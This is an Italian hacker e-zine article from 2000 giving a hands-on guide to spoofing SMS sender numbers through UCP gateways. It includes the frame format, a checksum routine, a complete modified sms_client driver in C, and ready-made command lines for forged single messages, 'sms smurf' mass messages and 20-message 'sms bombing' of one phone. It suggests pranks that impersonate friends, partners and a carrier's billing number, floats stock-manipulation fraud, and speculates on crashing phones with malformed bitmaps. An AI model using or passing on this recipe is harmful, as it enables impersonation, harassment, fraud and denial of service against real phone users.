============================================================================== -------------[ BFi numero 9, anno 3 - 03/11/2000 - file 15 di 21 ]------------ ============================================================================== -[ PHREACKING ]--------------------------------------------------------------- ---[ SMS SP00FiNG E 0LTRE -----[ Jack McKrak Come tutti sanno, gli SMS sono quei simpatici agglomerati di 160 caratteri che vagano per la rete GSM. Allegri, teneri, cattivi, pesanti o rompikazzo, questa massa di bit entra sempre piu' spesso nella nostra vita. La gente normale si fida degli sms. Se arriva un messaggio da "MARCO CELL" allora significa che sicuramente l'ha inviato il cellulare di Marco. Ma ne siamo cosi' sicuri? Esiste il modo di contraffare il numero del mittente di un SMS? La risposta (che potete gia' intuire dal titolo) la troverete nelle prossime righe. Ma prima parliamo un po' delle conseguenze. Cosa si puo' fare con un SMS spoofato ovvero con un sms con il numero del mittente scelto da noi? Il fatto che normalmente sia impossibile modificare il numero sorgente di un messaggio trasforma tutto quello che arriva attraverso un sms in oro colato. Situazione: due conoscenti, preferibilmente facili all'inkazzatura, e due cellulari. A ciascuno dei due mandate un messaggio con il numero dell'altro come mittente e con scritte sopra le peggiori offese che vi vengono in mente. Risultato: i due si scanneranno telefonicamente per circa un'ora e poi dovrete intervenire per spiegare lo scherzo, perche' rischierete che si degeneri nella rissa, visto che tutti e due penseranno che sia l'altro a fare il coglione. Ma questo e' uno scherzetto banale. Una cosa un po' piu' cattiva e' prendere come vittima una bella coppietta... quelle che sono solite mandarsi tanti sms teneri e sdolcinati... e spedire a uno dei due con il num dell'altro una bella frase presa dal peggiore film porno amatoriale. Oppure se un vostro amico ha Omnitel, mandare un messaggio dal numero 2010 con scritto "Addebito SMS L 124000", sul momento vi assicuro gli viene un colpo al cuore. Sono cose divertenti, ma pensandoci mi inquieta quanto ci puo' condizionare la tecnologia e quanto spesso riteniamo indiscutibile un'informazione solo perche' ce la trasmette un qualche apparato di cui non conosciamo nemmeno il funzionamento. Inconsciamente abbiamo un senso di fiducia, convinti che l'ipocrisia sia una caratteristica solo delle parole che escono da una bocca umana. Non considero poi casi ben peggiori, cose che sinceramente non auguro neanche al mio peggior nemico. Tipo mandare un messaggio a una coppia gia' in crisi con una frase "Non ti voglio piu'... ti chiamo dopo, ma sento che e' finita" penso che se capitasse a me e fossi ignaro della possibilita' di forgiare sms fasulli, cadrei in uno sconforto piu' totale, quelle sensazioni che ti gelano il sangue... e perche'? Perche' ti sei fidato di uno strumento che qualcuno ha manovrato, magari una persona che ti odia perche' gli hai tirato giu' la botnet sul canale #pippaioli... harggg... E pensiamo poi a qualcosa di piu' criminale, forse solo piu' improbabile, ma non impossibile. Alcuni ricevono gli aggiornamenti dell'andamento dei titoli in borsa via sms. Io comincio a mandare sms fasulli con il titolo "skrokkoni srl" che sale del 10%. Magari questa persona fa' un investimento di milioni, ci perde e invece io ci guadagno. E poi il giorno dopo questa cosa viene fuori sui giornali e tutti si stupiscono... e poi si stanziano 4 miliardi di dollari per il terrorismo informatico... e poi arrivano i comunicati stampa... e poi andate tutti a cagare! Perche' queste cose si sanno da sempre, solo che l'ingegnere occhialuto che fa notare il particolare al capo, ovvero che il servizio taldeitali puo' essere FACILMENTE abusato da qualche malintenzionato, si sente ripetere "si', ma dai, adesso ci mettiamo a spendere degli altri soldi... ma chi vuoi che ci pensi?". Pronunciate queste parole, quasi per magia, un 15enne del Nebraska, a migliaia di kilometri di distanza, viene mollato dalla ragazza e decide di dichiarare il suo disprezzo per il mondo facendo casini in giro... trova proprio quel dettaglio e trasforma quella piccola imperfezione nella causa del collasso di tutto il sistema. E c'e' solo da ringraziare che sia un 15enne e non un vero malintenzionato! OK, forse l'ho fatta troppo tragica, ma sono stufo di vedere giornali e televisioni che strippano davanti a casini combinati per problemi conosciuti da tempo, ma taciuti o per superficialita' o semplicemente per nasconderli. Adesso che mi sono sfogato passiamo alla parte tecnica. Spesso gli operatori di telefonia mobile offrono il servizio di invio sms tramite appositi SMS-Gateway raggiungibili via modem. Sono la stessa cosa dei vari servizi presenti su internet, solo che in questo caso non devi compilare una form web, ma ti colleghi via telefono e ottieni il servizio attraverso un protocollo di comunicazione. E' un'attimo un piu' laborioso, c'e' da fare una telefonata e utilizzare un programma adatto, pero' questo sistema ha diversi vantaggi che cerchero' di spiegare. Cerchiamo prima di tutto di dare un'occhiata al protocollo usato in queste occasioni. Da quello che ho potuto vedere se ne usano principalmente due: il TAP e l'UCP. Io mi sono guardato solo l'UCP perche' e' piu' rapido e intuitivo. In sintesi nel protocollo UCP (Universal Computer Protocol... che nome del cazzo) si invia una trama formattata in questo modo: HDR DATA CRC dove e sono i caratteri di start-stop rispettivamente 02h e 03h. L'header (HDR) contiene alcuni sottocampi separati dal carattere '/' TRN/LNG/OR/OPN TRN [2 NUMERIC CHAR] e' il numero della transizione (casuale) e varia fra 0 e 99 LNG [5 NUMERIC CHAR] la lunghezza della trama ovvero quanti caratteri ci sono fra e OR [1 CHAR] puo' essere il carattere 'O' che indica la richiesta di servizio o il carattere 'R' che indica risposta a una richiesta OT [2 NUMERIC CHAR] e' il codice dell'operazione richiesta ed e' il parametro piu' interessante. La lista dei servizi e' elencata (come del resto tutti gli altri parametri tecnici) nel doc di definizione del protocollo UCP che e' compreso nel documento "ETS 133-3" prodotto dall'ETSI, ovvero l'ente che in europa si occupa di gran parte degli standard in materia di telecomunicazioni. I servizi piu' interessanti alla fine pero' sono due: lo 01 e lo 02. 01 Invio di un singolo SMS 02 Invio di un SMS multiplo Esempio di header 01/00020/O/01 Il campo DATA varia da servizio a servizio. Per lo 01 e' composto da questi sottocampi: AdC/OAdC/OAC/MT/AMsg AdC [STRING OF NUM CHAR] E' il numero del destinatario del messaggio visto che di solito i gateway sono fuori dall'italia il numero e' meglio scriverlo ad esempio come: 0039347000000 dove 0039 e' sempre presente OAdC [STRING OF NUM CHAR] E qui casca l'asino! Questo e' il numero sorgente del messaggio! Qui potete metterci qualsiasi serie di caratteri fra 0 e 9. Anche tipo 666 o 123456 o 0000000. Se pero' notate i messaggi autentici indicano il numero del mittente come +39ecc. Purtroppo il '+' non si riesce a mettere e i vostri messaggi al massimo possono arrivare da un 0039ecc. OAC [STRING OF CHAR] Codice di autentificazione del mittente. Non so a che cazzo serva. Va lasciato in bianco. MT [1 NUM CHAR] Tipo di messaggio. Qui va messo sempre 3 che indica un messaggio alfanumerico. AMsg [STRING OF CHAR] Il messaggio vero e proprio. Per l'AMsg va fatta una piccola digressione. Il testo non e' scritto in chiaro, ma va codificato in stringhe IA5. Sembra una cosa cazzuta, invece semplicemente si tratta di scrivere i caratteri con la loro codifica ascii invece che in chiaro. Questo perche' quei pippaioli degli ingegneri che hanno redatto il protocollo volevano inserire un controllo di errore in piu' visto che per inviare un carattere cosi' bisogna mandarne due. Cosa forse inutile, visto che l'ultimo campo CRC e' un controllo di errore. Questo paramentro sono due caratteri che costituiscono un numero in esadecimale. Il numero si ottiene prendendo le ultime due cifre significative (esadecimali) o della somma di tutti i caratteri che compongono header e data. Ecco la procedura che fa questa somma void UCP_generate_checksum(char *buf, char *crc) { char *ptr; int j; j = 0; for (ptr = buf; *ptr != '\0'; ptr++) { j += *ptr; if (j >= 256) { j -= 256; } } sprintf(crc,"%02X", j); } Dunque se noi volessimo mandare un sms al numero 0039347123456 da numero 666 con testo "Satana ti vede" ecco cosa dovremmo comunicare al nostro gateway di fiducia. 01/00066/O/01/0039347123456/666//3/536174616E612074692076656465/F6 -----| HEADER | DATA (S a t a n a t i v e d e)|CRC|--- Se la nostra query e' stata accettata il gateway rispondera piu' o meno cosi' 01/00045/R/01/A/0039347123456:090800114008/A0 la vostra richiesta e' in questo momento nello stack del server che dopo poco la inoltrera' alla rete GSM che la smistera' fino alla stazione base a cui e' collegato il cellulare del destinatario dove verra' sparato via etere. Tutto questo nel giro di 10 secondi se non ci sono intasamenti nel gateway o nella rete GSM. Ma come vi ho accennato c'e' anche un servizio 02 che e' molto interessante. Dipende da gateway a gateway, solo alcuni ve lo lasceranno usare visto che e' un'opzione che impiega parecchie risorse. Se e' attivo avete infatti la possibilita' di inviare fino a 20 sms in un'unica botta, ovvero il famoso sms multiplo. Inviare lo stesso messaggio a 20 persone diverse puo' essere utile? Non lo so, ma si possono fare tante cose divertenti. Esempio. Prendete una lista di 20 numeri di cell fra amici e conoscenti possibilemente singles. Prendete un vostro amico a cui volete fare un scherzo. Mandate un sms multiplo ai 20 numeri con numero sorgente il cell della vittima e con scritto: "Un nostro amico comune mi ha dato il tuo numero. Mi piaci molto e vorrei conoscerti. Ti dice qualcosa il 3 luglio ?" Nonostante il 3 luglio non sia successo un cazzo io sarei comunque curioso di sapere chi e' questo soggetto/soggetta e chiamerei il numero. Ma chi chiamo in realta'? Il numero della vittima ignara di tutto che si subisce 20 telefonate nel giro di pochi minuti! Dunque cosa ho ottenuto... un sms smurf!! :)) Veramente troppo divertente. Se invece vogliamo fare piu' una cosa da DoS puro invece di mandare al gateway una lista di 20 numeri diversi, mandiamo un sms multiplo con 20 numeri tutti uguali. Cosa succede? Il gateway non si accorge che i numeri sono tutti uguali e piazza nello stack tutti i messaggi insieme senza attese. In circa 1 minuto il cellulare della vittima verra' bombardato da 20 sms filati, opure 40 se facciamo 2 chiamate e cosi' via... in sintesi vi assicuro che mandate in sklero il povero individuo che ricevera' questo sms bombing. Da usare con cura anche perche' magari si inkazza sul serio... e poi magari il gestore del server sms si rompe il cazzo e dopo nessuno fa piu' niente... Il campo DATA del servizio 02 e' il seguente: NPL/RAd:s/OAdC/OAC/MT/AMsg NPL [STRING OF NUM CHAR] indica quanti sono gli sms da inviare e corrisponde ai numeri di telefono che seguiranno dopo, ovvero se e' 3 dopo dovremmo inserire 3 numeri di destinatari RAd:s[STRING OF NUM CHAR] lista dei numeri dei destinatari. Vanno semparati sempre con il carattere '/'. Esempio '0039347123456/0039347543210/0039347234765' OAdC [STRING OF NUM CHAR] come sopra OAC [STRING OF CHAR] come sopra MT [1 NUM CHAR] come sopra AMsg [STRING OF CHAR] come sopra Ora, ma io come ci parlo con il server? Be' ci sono mille modi, potete usare qualche programmino scritto da voi, emulatori di terminale, qualsiasi cosa spari dei caratteri su una connessione aperta con un modem. Io con ISDN ho usato la possibilita' di sfruttare l'emulazione AT e ho trovato un programmino davvero ben fatto che si chiama sms_client (http://www.styx.demon.co.uk) adatto al nostro scopo. Ok, non proprio adatto, con quello potete mandare sms attraverso gateway, ma non usare tutte le possibilita' offerte dall'UCP e viste poco sopra. Per lasciare piu' liberta' di azione ho modificato leggermete questo programma. Vi spiego la mia modifica e come mandare messaggi. Prima cosa. Scaricatevi il programma, il file si chiama smsclient_2.0.8r.tar.gz (http://www.styx.demon.co.uk/archive/sms_client-2.0.8r.tar.gz). Scompattate. Fate il classico make, make install e se non avete fatto casini vi troverete sotto /etc la dir 'sms' che contiene tutti i settaggi del programma. Dentro questa dir va editato il file sms_modem che contiene i settaggi del vostro modem. C'e' anche una sottodir 'services', dentro questa ci sono i file che corrispondono ai gateway sms sparsi per il mondo. Ovviamente ce ne sono solo alcuni e per giunta quelli piu' conosciuti. Questo implica che sono quelli piu' usati e che solitamente lasciano meno possibilita' di smanettare e di divertirsi. Sta a voi recuperare altri numeri di qualche gateway piu' disponibile. Spesso per fare andare il prog cambiate il '+' nel numero del gateway impostato in questi file con '00' da chiamata internazionale (okkio a non stare collegati troppo, nell 99% dei casi chiamate qualche paese estero). A questo punto vi allego il mio codice. La mia modifica e' imbecille, uno scimmione del kongo farebbe di meglio, dunque forse se avete un po' di voglia lavorateci da soli per ottenete qualcosa di piu' pratico... Quello che segue va salvato come file ucp.c <-| ucp.c |-> /* -------------------------------------------------------------------- */ /* Variante del file ucp.c per sms_client 2.0.8r by JacK McKrak */ /* -------------------------------------------------------------------- */ #include #include #include #include "common/common.h" #include "logfile/logfile.h" #include "driver.h" #include "error.h" #include "ascii.h" #include "comms/comms.h" #include "resource/resource.h" /* -------------------------------------------------------------------- */ static struct ucp_env { DRIVER_DEFAULT_ENV def; /* Place any extended driver */ /* variables here */ } driver_env; /* -------------------------------------------------------------------- */ static RESOURCE resource_list[] = { { RESOURCE_STRING, "SMS_comms_params", 0, 1, NULL, 0, "8N1", 0, &(driver_env.def.comms_params) }, { RESOURCE_STRING, "SMS_centre_number", 0, 1, NULL, 0, NULL, 0, &(driver_env.def.centre_number) }, { RESOURCE_NUMERIC, "SMS_baud", 0, 1, NULL, 0, NULL, 9600, &(driver_env.def.baud) }, { RESOURCE_NUMERIC, "SMS_deliver_timeout", 0, 0, NULL, 0, NULL, 30, &(driver_env.def.deliver_timeout) }, { RESOURCE_NUMERIC, "SMS_timeout", 0, 0, NULL, 0, NULL, 10, &(driver_env.def.timeout) }, { RESOURCE_NUMERIC, "SMS_write_timeout", 0, 0, NULL, 0, NULL, 10, &(driver_env.def.write_timeout) }, { RESOURCE_NUMERIC, "SMS_max_deliver", 0, 0, NULL, 0, NULL, 1, &(driver_env.def.max_deliver) }, { RESOURCE_NULL, NULL, 0, 1, NULL, 0, NULL, 0, NULL } }; /* -------------------------------------------------------------------- */ #define DELIVERTIMEOUT (driver_env.def.deliver_timeout) #define TIMEOUT (driver_env.def.timeout) #define WRITETIMEOUT (driver_env.def.write_timeout) /* -------------------------------------------------------------------- */ #define FD (driver_env.def.fd) /* -------------------------------------------------------------------- */ static int UCP_sendmessage(char *msisdn, char *message); static int UCP_parse_response(char *string); static void UCP_hangup(void); static char *UCP_generate_checksum(const char *fmt, ...); static char *UCP_build_message(char *msisdn, char *message); static char *UCP_build_transaction(int transaction_id, char transaction_type, int operation_type, const char *fmt, ...); /* -------------------------------------------------------------------- */ /* -------------------------------------------------------------------- */ static char *UCP_generate_checksum(const char *fmt, ...) { va_list args; static char buf[1024]; char *ptr; int j; va_start(args, fmt); #if !defined(LINUX) vsprintf(buf, fmt, args); #else vsnprintf(buf, 1024, fmt, args); #endif va_end(args); /* ------------------------ */ j = 0; for (ptr = buf; *ptr != '\0'; ptr++) { j += *ptr; if (j >= 256) { j -= 256; } } sms_snprintf(buf, 1024, "%02X", j); return buf; } /* -------------------------------------------------------------------- */ /* -------------------------------------------------------------------- */ static char *UCP_build_transaction(int transaction_id, char transaction_type, int operation_type, const char *fmt, ...) { va_list args; static char buf[1024]; char header[1024], data[1024], codestring[1024]; FILE *fcd; va_start(args, fmt); #if !defined(LINUX) vsprintf(data, fmt, args); #else vsnprintf(data, 1024, fmt, args); #endif va_end(args); /* ------------------------ */ fcd = fopen("codice","r"); fscanf(fcd,"%s",&codestring); fclose(fcd); sms_snprintf(header, 1024, "%02d/%05d/%c", transaction_id, sms_strlen(data) + sms_strlen(codestring) + 15, transaction_type); printf("%s/%s/%s/%s\n",header,codestring, data,UCP_generate_checksum("%s/%s/%s/",header,codestring,data)); sms_snprintf(buf, 1024, "%c%s/%s/%s/%s%c", S_STX, header, codestring, data, UCP_generate_checksum("%s/%s/%s/", header, codestring, data), S_ETX); return buf; } /* -------------------------------------------------------------------- */ /* -------------------------------------------------------------------- */ static char *UCP_build_message(char *msisdn, char *message) { char ia5_message[1024], *src, *dest; dest = ia5_message; for (src = message; *src != '\0'; src++) { sms_snprintf(dest, 1024, "%02X", *src); dest += 2; } return UCP_build_transaction(1, 'O', 1, "%s", ia5_message); } /* -------------------------------------------------------------------- */ /* Return Values: */ /* 0 Positive ACK */ /* 1 Negative ACK */ /* -1 Error */ /* -------------------------------------------------------------------- */ static int UCP_parse_response(char *string) { int result; int transaction, length, type, checksum; char ack, recipient[64], timestamp[64]; /* ------------------------------------------------------------ */ /* Example: */ /* 01/00045/R/01/A/0041544180972:161298112313/A6 */ /* 01/00019/R/01/A//69 */ /* ------------------------------------------------------------ */ result = sscanf(string, "\002%02d/%05d/R/%02d/%c/%16[^:]:%12s/%02X\003", &transaction, &length, &type, &ack, recipient, timestamp, &checksum); if (result != 7) { result = sscanf(string, "\002%02d/%05d/R/%02d/%c//%02X\003", &transaction, &length, &type, &ack, &checksum); if (result != 5) { return -1; } } /* ---------------------------- */ result = -1; if (ack == 'A') { result = 0; } else if (ack == 'N') { result = 1; } return result; } /* -------------------------------------------------------------------- */ /* -------------------------------------------------------------------- */ static int UCP_sendmessage(char *msisdn, char *message) { char buf[MAX_RESPONSE_BUFSIZE], *ucp_message; int result; ucp_message = UCP_build_message(msisdn, message); twrite(FD, ucp_message, sms_strlen(ucp_message), WRITETIMEOUT); if (expstr(FD, buf, "\03", MAX_RESPONSE_BUFSIZE, DELIVERTIMEOUT) == 0) { lprintf(LOG_STANDARD, "SMSC Respsonse: %s\n", buf); result = UCP_parse_response(buf); if (result == 0) { lprintf(LOG_STANDARD, "Received Acknowledgement\n"); } else if (result == 1) { lprintf(LOG_STANDARD, "Acknowledgement Failed\n"); UCP_hangup(); return EUCP_ACKFAILED; } else { lprintf(LOG_STANDARD, "Bad Acknowledgement\n"); UCP_hangup(); return EUCP_BADACK; } } else { lprintf(LOG_STANDARD, "No Message Response\n"); UCP_hangup(); return EUCP_NORESPONSE; } return 0; } /* -------------------------------------------------------------------- */ /* -------------------------------------------------------------------- */ static void UCP_hangup(void) { default_hangup((DRIVER_DEFAULT_ENV *)(&driver_env)); } /* -------------------------------------------------------------------- */ /* -------------------------------------------------------------------- */ DEVICE_ENTRY ucp_device = { "UCP", "1.0", resource_list, (DRIVER_DEFAULT_ENV *)(&driver_env), default_init, default_main, default_validate_numeric_id, default_dial, default_hangup, default_send_disconnect, default_single_deliver, UCP_sendmessage, default_login }; <-X-> Creato il file ucp.c sostituitelo nella sottodirectory /src/driver del programma sms_client, deve esisterne gia' uno con questo nome. Ricompilate. Andate nella sottodir /bin dove devono esserci i nuovi file eseguibili, soprattutto il file sms_client. Ora siamo pronti per mandare un messaggio, manca solo da editare il file 'codice' Questo file e' usato dalla mia modifica di ucp.c per poter mandare comandi qualunque al gateway, senza passare dalle ridotte opzioni di sms_client. Create il file 'codice'. In questo file va messa una parte del campo HEADER e del campo DATA dell'sms che volete inviare. Dell'header solo il campo OT, del data tutto tranne AMasg. Ovvero, rifacendosi al messaggio 'Satana ti vede', dentro il file 'codice' va messa questa riga di testo: 01/0039347123456/666//3 Salva il file. Ora spostalo nella dir dove e' presente l'eseguibile sms_client e batti ./sms_client d2:0 'Satana ti vede' In questo caso Il nostro pc telefonera' al gateway di d2 (file definito nella dir /etc/sms/services) e cerchera' di mandare il messaggio secondo quello che e' scritto nel file 'codice'. Il programma vi fara' vedere cosa combina passo per passo e se tutto e' andato a buon fine qualche vostro amico potrebbe riconsiderare "L'Esorcista". Per mandare un sms multiplo il nostro file codice dovra' contenere ad esempio la riga 02/3/0039347123456/0039347543210/0039347234765/666//3 e partiranno 3 sms con un'unica chiamata. Un sms bombing sara' invece cosi' 02/20/0039347123456/0039347123456/0039347123456/0039347123456/0039347123456/ ... eccetera Ma non abusatene! Pensate a quel poveretto! OK, credo di aver detto tutto... ci sono altre mille cose che si possono fare con queste poche e scarne informazioni, dipende poi dalla vostra fantasia. Un ultima cosa... cercate di non fare casini! Se avete qualche dubbio o news scrivete alla mail di BFi, se trovo un po' di tempo saro' felice di rispondervi... Se fate qualche bello scherzo mandatemi il log che mi diverto troppo con queste storie... Azz, dimenticavo. Se qualcuno vuole cimentarsi in qualcosa di piu' cazzuto si studi come vengono codificati gli SMS che trasportano ad esempio loghi per NOKIA (guardatevi su qualche doc gli "OTA BITMAP"). Mi gioco le palle che se si formatta male il campo header di questi messaggi (tipo facendo credere che arrivi un bitmap di dimensioni spropositate o nulle) si manda quasi sicuramente in crash il cellulare di chi lo riceve... poi vi faro' sapere! Alla prossima... JacK McKrak ============================================================================== ---------------------------------[ EOF 15/21 ]-------------------------------- ==============================================================================